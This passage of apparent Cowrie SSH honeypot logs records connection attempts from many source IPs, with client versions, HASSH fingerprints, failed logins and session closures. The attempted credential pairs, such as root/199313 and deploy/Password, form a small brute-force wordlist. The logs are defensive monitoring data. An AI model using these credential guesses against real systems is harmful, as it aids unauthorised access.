":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:20.538242Z","src_ip":"111.238.174.6","session":"24132fb85367","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Password","message":"login attempt [deploy/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:21.319196Z","src_ip":"111.238.174.6","session":"24132fb85367","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.211.95.158","src_port":45396,"dst_ip":"159.203.135.109","dst_port":22,"session":"8921a67d37d2","protocol":"ssh","message":"New connection: 91.211.95.158:45396 (159.203.135.109:22) [session: 8921a67d37d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:21.491062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:21.497500Z","src_ip":"91.211.95.158","session":"8921a67d37d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:21.644306Z","src_ip":"91.211.95.158","session":"8921a67d37d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gtm","password":"gtm123","message":"login attempt [gtm/gtm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:22.246934Z","src_ip":"91.211.95.158","session":"8921a67d37d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:22.508276Z","src_ip":"111.238.174.6","session":"24132fb85367","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:23.399943Z","src_ip":"91.211.95.158","session":"8921a67d37d2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.58.215.196","src_port":60814,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e7dc8c5455e","protocol":"ssh","message":"New connection: 123.58.215.196:60814 (10.17.0.5:22) [session: 7e7dc8c5455e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:37.420593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:37.431304Z","src_ip":"123.58.215.196","session":"7e7dc8c5455e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:37.646266Z","src_ip":"123.58.215.196","session":"7e7dc8c5455e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba@123456","message":"login attempt [dmdba/dmdba@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:38.522118Z","src_ip":"123.58.215.196","session":"7e7dc8c5455e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:39.757421Z","src_ip":"123.58.215.196","session":"7e7dc8c5455e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":33130,"dst_ip":"10.17.0.5","dst_port":22,"session":"4001f97811c3","protocol":"ssh","message":"New connection: 4.213.224.194:33130 (10.17.0.5:22) [session: 4001f97811c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:40.148304Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:40.152690Z","src_ip":"4.213.224.194","session":"4001f97811c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:40.354177Z","src_ip":"4.213.224.194","session":"4001f97811c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"action","password":"123456","message":"login attempt [action/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:41.195519Z","src_ip":"4.213.224.194","session":"4001f97811c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:42.401035Z","src_ip":"4.213.224.194","session":"4001f97811c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47624,"dst_ip":"159.203.135.109","dst_port":22,"session":"c548560c7e58","protocol":"ssh","message":"New connection: 2.57.122.238:47624 (159.203.135.109:22) [session: c548560c7e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:59.797776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:59.801931Z","src_ip":"2.57.122.238","session":"c548560c7e58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:10:59.911645Z","src_ip":"2.57.122.238","session":"c548560c7e58","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:00.237556Z","src_ip":"2.57.122.238","session":"c548560c7e58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:01.357113Z","src_ip":"2.57.122.238","session":"c548560c7e58","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.128.201.18","src_port":40192,"dst_ip":"159.203.135.109","dst_port":22,"session":"720a2a2837cd","protocol":"ssh","message":"New connection: 190.128.201.18:40192 (159.203.135.109:22) [session: 720a2a2837cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:03.844786Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:03.851015Z","src_ip":"190.128.201.18","session":"720a2a2837cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:04.006678Z","src_ip":"190.128.201.18","session":"720a2a2837cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client1","password":"client1","message":"login attempt [client1/client1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:04.594831Z","src_ip":"190.128.201.18","session":"720a2a2837cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:05.736379Z","src_ip":"190.128.201.18","session":"720a2a2837cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":44948,"dst_ip":"10.17.0.5","dst_port":22,"session":"46c9bbacef7e","protocol":"ssh","message":"New connection: 77.94.47.83:44948 (10.17.0.5:22) [session: 46c9bbacef7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:07.248215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:07.254298Z","src_ip":"77.94.47.83","session":"46c9bbacef7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:07.365095Z","src_ip":"77.94.47.83","session":"46c9bbacef7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"199313","message":"login attempt [root/199313] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:07.704309Z","src_ip":"77.94.47.83","session":"46c9bbacef7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:08.820298Z","src_ip":"77.94.47.83","session":"46c9bbacef7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":48320,"dst_ip":"159.203.135.109","dst_port":22,"session":"700ab74c60bb","protocol":"ssh","message":"New connection: 27.71.230.31:48320 (159.203.135.109:22) [session: 700ab74c60bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:09.579223Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:10.348190Z","src_ip":"27.71.230.31","session":"700ab74c60bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:10.934535Z","src_ip":"27.71.230.31","session":"700ab74c60bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User123","message":"login attempt [root/User123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:16.781070Z","src_ip":"27.71.230.31","session":"700ab74c60bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.7","message":"Connection lost after 8.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:18.245938Z","src_ip":"27.71.230.31","session":"700ab74c60bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"111.238.174.6","src_port":43958,"dst_ip":"10.17.0.5","dst_port":22,"session":"4408b21d1606","protocol":"ssh","message":"New connection: 111.238.174.6:43958 (10.17.0.5:22) [session: 4408b21d1606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:20.543506Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:20.553237Z","src_ip":"111.238.174.6","session":"4408b21d1606","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:20.766973Z","src_ip":"111.238.174.6","session":"4408b21d1606","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"front-user","password":"front-user123","message":"login attempt [front-user/front-user123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:21.534387Z","src_ip":"111.238.174.6","session":"4408b21d1606","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:22.736919Z","src_ip":"111.238.174.6","session":"4408b21d1606","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.248.120.6","src_port":45475,"dst_ip":"10.17.0.5","dst_port":22,"session":"17ff4b9fd1a2","protocol":"ssh","message":"New connection: 103.248.120.6:45475 (10.17.0.5:22) [session: 17ff4b9fd1a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:24.212696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:11:24.217343Z","src_ip":"103.248.120.6","session":"17ff4b9fd1a2","protocol":"ssh"}
